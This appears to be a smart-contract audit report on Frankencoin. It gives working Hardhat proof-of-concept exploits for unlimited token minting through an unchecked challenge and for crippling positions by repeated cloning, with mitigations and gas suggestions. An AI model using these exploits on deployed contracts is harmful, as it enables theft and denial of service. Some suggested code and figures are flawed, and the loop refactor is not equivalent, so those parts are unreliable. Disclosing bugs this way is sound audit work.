Frankencoin - 0xDACA's results

Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L115-L118 https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L140

Vulnerability details

Impact

An attacker can mint himself as many Frankencoins as he wants in a single transaction by challenging an invalid position.

Proof of Concept

Steps overview:

Since there's no check on the validity of a position when challenging it, an attacker can:

1. a) Create a malicious position with a huge collateral price
2. b) Start a challenge on the malicious position
3. c) End the challenge of the malicious position
   • (This would cause the position to mint many Frankencoins and transfer them to the attacker.)

In-depth explanation and POC code:

The following is a test I added to PositionTests.ts that implements this exploit (most of the setup code is copied from the position tests).

describe("Mint infinite Frankencoins", () => {
    it("create malicious position", async () => {
        // The collateral is a "fake" token that doesn't do anything and never reverts
        let dacaMock = await createContract("FakeToken", []);
        let collateral = dacaMock.address;

        // Attacker is gonna be rich
        let fliqPrice = BN.from("0xffffffffffffffffffffffffffffffffffffffffffffffff")
        let minCollateral = floatToDec18(0);
        let fInitialCollateral = floatToDec18(1);
        let duration = BN.from(14 * 86_400);
        let fFees = BN.from(fee * 1000_000);
        let fReserve = BN.from(reserve * 1000_000);
        let challengePeriod = BN.from(0); // Challenge period is zero

        let openingFeeZCHF = await mintingHubContract.OPENING_FEE();

        // Attacker only needs the pay to position opening fee
        await ZCHFContract['transfer(address,uint256)'](attacker.address, openingFeeZCHF);

        // Create the malicous position
        let tx = await mintingHubContract.connect(attacker)["openPosition(address,uint256,uint256,uint256,uint256,uint256,uint32,uint256,uint32)"]
            (collateral, minCollateral, fInitialCollateral, initialLimit, duration, challengePeriod, fFees, fliqPrice, fReserve);
        let rc = await tx.wait();
        const topic = '0x591ede549d7e337ac63249acd2d7849532b0a686377bbf0b0cca6c8abd9552f2'; // PositionOpened
        const log = rc.logs.find(x => x.topics.indexOf(topic) >= 0);
        positionAddr = log.address;
    });
    it("launch challange in malicous position", async () => {
        // The attacker starts with no tokens
        console.log("Attacker balance before attack: ", (await ZCHFContract.balanceOf(attacker.address)).toString())

        // Create a new challenge in the malicous position
        await mintingHubContract.connect(attacker)["launchChallenge(address,uint256)"](positionAddr, floatToDec18(1));
    });
    it("end challange in malicous position", async () => {
        // Immediatly end the challenge (challenge index is `0`)
        await mintingHubContract.connect(attacker)["end(uint256,bool)"](BN.from(0), false);

        // The attacker ends with a lot of tokens
        console.log("Attacker balance after attack:  ", (await ZCHFContract.balanceOf(attacker.address)).toString())
    });
});

Note that I set attacker = accounts[5] and that FakeToken is some contract that doesn't do anything and always returns a sensible value. Here is the FakeToken contract I wrote

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../IERC20.sol";

contract FakeToken is IERC20 {
    function name() external view returns (string memory) {
        return "daca coin";
    }

    function symbol() external view returns (string memory) {
        return "DACA";
    }

    function decimals() external view returns (uint8) {
        return 18;
    }

    function totalSupply() external view returns (uint256) {
        return 0;
    }

    function balanceOf(address account) external view returns (uint256) {
        return 1;
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        return true;
    }

    function transferAndCall(address recipient, uint256 amount, bytes calldata data) external returns (bool) {
        return true;
    }

    function allowance(address owner, address spender) external view returns (uint256) {
        return type(uint256).max;
    }


    function approve(address spender, uint256 amount) external returns (bool) {
        return true;
    }


    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
        return true;
    }
}

After running the test, the output is

    Mint infinite Frankencoins
      ✓ create malicous position
Attacker balance before attack:  0
      ✓ launch challange in malicous position
Attacker balance after attack:   125542034707733615276715788464153328322
      ✓ end challange in malicous position

As you can see, the attackers start with nothing and end with a practically infinite amount of Frankencoins.

Tools Used

Just the same hardhat suite as the project.

Recommended Mitigation Steps

I recommend the following modifications:

Check position is cool (or started) when challenging

The problem is that you can challenge positions that are still "hot". I suggest modifying the validPos modifier to check that the position is not hot. Here is an example code:

modifier validPos(address position) {
    require(zchf.isPosition(position) == address(this), "not our pos");
    // Added the following line
    require(block.timestamp > position.cooldown(), "Position is still hot!");
    _;
}

If you want to allow hot positions to be challenged, then you still need to check that the position has started (and wasn't denied), so you can implement the following solution instead:

modifier validPos(address position) {
    require(zchf.isPosition(position) == address(this), "not our pos");
    // Added the following line
    require(block.timestamp > position.start(), "Position hasn't started!");
    _;
}

Add minimum challenge period

You can launch a challenge and end it in the same transaction if you set the challenge period to 0. I recommend adding a minimum challenge period, it must be at least one block long (so they can't happen in the same transaction, giving a defender time to act), or preferably at least a day or few. Add the following line to the Position constructor, before this line

require(_challengePeriod > 1 day);
challengePeriod = _challengePeriod;

A wrong index is used in restructureCapTable

In the function restructureCapTable there's the following loop

for (uint256 i = 0; i<addressesToWipe.length; i++) {
    address current = addressesToWipe[0];
    _burn(current, balanceOf(current));
}

On each iteration of the loop, current = addressesToWipe[0] is the same thing, so only the first iteration of the loop does something, and the next iterations do nothing. The code should be current = addressesToWipe[i] instead (notice the [i] instead of [0]).

Note: This was not caught in the tests because in the tests this function is called with a list with a single element.

Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L98-L99

Vulnerability details

Impact

An attacker can take ownership (and also "kill") any and all active positions, denying users from creating and using positions.

Proof of Concept

Steps overview:

1. a) The attacker clones a position with the minimum required collateral, the original position limit gets cut in half, and the cloned position gets the other half
2. b) Keep cloning the position until the limit reaches 0 (it actually reaches minted but thats practically the same)
   • (Since the position is cut in half each time, you only need to clone the position $\log_2(limit)$ times (i.e. very few times compared to the size of the limit).)

In-depth explenation:

When cloning a position with zero minimum mint, the limit is reduced by half, and the limit of the clone is set to be the other half.

A malicious attacker can keep cloning the position until the limit is so low, the position is no longer useable, and is effectively "dead". Note that the cloned position is owned by the attacker, so he basically "stole" a position.

I added the following code in the PositionTests.ts file, instead of the "clone position" test, to show this exploit in action:

async function clonePositionMinCol(positionToClone) {
    let fInitialCollateralClone = positionToClone.minimumCollateral();
    let fZCHFAmount = floatToDec18(0);

    // send very little collateral to the attacker
    await mockVOL.transfer(attacker.address, fInitialCollateralClone);

    clonePositionContract = await clonePosition(attacker, positionToClone.address, fInitialCollateralClone, fZCHFAmount);
}

it("malicious clone position", async () => {
    let times = Math.ceil(Math.log2(await positionContract.limit()))
    for (let i = 0; i <= times; i++) {
        console.log('['+i+']'+'  position limit = ', (await positionContract.limit()).toString())
        await clonePositionMinCol(positionContract);
    }
});

Running the above code we see that the limit of the position gets smaller and smaller until it reaches 1, where the position is effectively "dead".

 Position Tests
    use Minting Hub
      ✓ create position
      ✓ require cooldown
      ✓ get loan after 7 long days
[0]  position limit =  110000000000000000000000
[1]  position limit =  55000000000000000000000
[2]  position limit =  27500000000000000000000
[3]  position limit =  13750000000000000000000
[4]  position limit =  6875000000000000000000
[5]  position limit =  3437500000000000000000
[6]  position limit =  1718750000000000000000
[7]  position limit =  859375000000000000000
[8]  position limit =  429687500000000000000
[9]  position limit =  214843750000000000000
[10]  position limit =  107421875000000000000
[11]  position limit =  53710937500000000000
[12]  position limit =  26855468750000000000
[13]  position limit =  13427734375000000000
[14]  position limit =  6713867187500000000
[15]  position limit =  3356933593750000000
[16]  position limit =  1678466796875000000
[17]  position limit =  839233398437500000
[18]  position limit =  419616699218750000
[19]  position limit =  209808349609375000
[20]  position limit =  104904174804687500
[21]  position limit =  52452087402343750
[22]  position limit =  26226043701171875
[23]  position limit =  13113021850585938
[24]  position limit =  6556510925292969
[25]  position limit =  3278255462646485
[26]  position limit =  1639127731323243
[27]  position limit =  819563865661622
[28]  position limit =  409781932830811
[29]  position limit =  204890966415406
[30]  position limit =  102445483207703
[31]  position limit =  51222741603852
[32]  position limit =  25611370801926
[33]  position limit =  12805685400963
[34]  position limit =  6402842700482
[35]  position limit =  3201421350241
[36]  position limit =  1600710675121
[37]  position limit =  800355337561
[38]  position limit =  400177668781
[39]  position limit =  200088834391
[40]  position limit =  100044417196
[41]  position limit =  50022208598
[42]  position limit =  25011104299
[43]  position limit =  12505552150
[44]  position limit =  6252776075
[45]  position limit =  3126388038
[46]  position limit =  1563194019
[47]  position limit =  781597010
[48]  position limit =  390798505
[49]  position limit =  195399253
[50]  position limit =  97699627
[51]  position limit =  48849814
[52]  position limit =  24424907
[53]  position limit =  12212454
[54]  position limit =  6106227
[55]  position limit =  3053114
[56]  position limit =  1526557
[57]  position limit =  763279
[58]  position limit =  381640
[59]  position limit =  190820
[60]  position limit =  95410
[61]  position limit =  47705
[62]  position limit =  23853
[63]  position limit =  11927
[64]  position limit =  5964
[65]  position limit =  2982
[66]  position limit =  1491
[67]  position limit =  746
[68]  position limit =  373
[69]  position limit =  187
[70]  position limit =  94
[71]  position limit =  47
[72]  position limit =  24
[73]  position limit =  12
[74]  position limit =  6
[75]  position limit =  3
[76]  position limit =  2
[77]  position limit =  1
      ✓ malicious clone position

Tools Used

Just the same hardhat suite as the project.

Recommended Mitigation Steps

I recommend adding a maxLimitReduction variable, that would be equal to some sensible precentage of the limit. The reduceLimitForClone function can be modified accordingly:

function reduceLimitForClone(uint256 _minimum) external noChallenge noCooldown alive onlyHub returns (uint256) {
    uint256 reduction = (limit - minted - _minimum)/2; // this will fail with an underflow if minimum is too high
    limit -= reduction + _minimum;

    // Added this line
    require(limit > maxLimitReduction, "limit reduced too much!");

    return reduction + _minimum;
}

Note that you need to initialize maxLimitReduction in the constructore.

Votes calculation is O(n^2), but could be improved to O(n)

In the votes function, there's the following double-loop

for (uint i=0; i<helpers.length; i++){
    address current = helpers[i];
    /* ... */
    for (uint j=i+1; j<helpers.length; j++){
        require(current != helpers[j]); // ensure helper unique
    }
    /* ... */
}

Hence, if there are n helpers, the inner loop runs O(n^2) times.

This could be improved to run in O(n) times if the frontend sorts the helpers array before calling the contract, then the contract only needs Check that each helper is larger than the previous one (a single operation, instead of n operations). The contract code will look like the following:

uint160 largestHelper = 0x0;
for (uint i=0; i<helpers.length; i++){
    address current = helpers[i];
    /* ... */
    //eEnsure helper unique (assumed to be sorted by the caller)
    require(uint160(current) > largestHelper);
    largestHelper = uint160(current);
    
    /* ... */
}

The savings could be huge if there are a lot.

Note: This will revert if the helpers aren't sorted.

Savings

I ran this function with different numbers of helpers to see the difference, and here are the results I got.

• 1 helper --> 0.5% improvement (25826 gas vs 25686 gas)
• 10 helpers --> 50% improvement (45450 gas vs 30116 gas)
• 100 helpers --> 20,000% improvement (20 times) (1518368 gas vs 73921 gas)
• 1000 helpers --> Without the improvement, after several minutes, Remix crashed, With the improvement, it took less than a second.

At the price of gas as of when writing this, the 100 helpers case saves around 425$ of the cost (446$ to 21$).

Use loops instead of recursion in canVoteFor

Recursion has problems since it takes more memory and is less efficient than regular loops. The canVoteFor function can be easily implemented using loops instead. The following code does so:

// using recursion
function canVoteForRec(address delegate, address owner) public view returns (bool) {
    if (owner == delegate){
        return true;
    } else if (owner == address(0x0)){
        return false;
    } else {
        return canVoteForRec(delegate, delegates[owner]);
    }
}

// using a loop
function canVoteForLoop(address delegate, address owner) public view returns (bool) {
    address delegate_iter = delegates[owner];
    while (delegate_iter != address(0x0)) {
        if (delegate_iter == delegate) {
            return true;
        }
        delegate_iter = delegates[delegate_iter];
    }

    return false;
}

I would note that the gas improvement is only around 1.5% from my tests, so not that much, but still.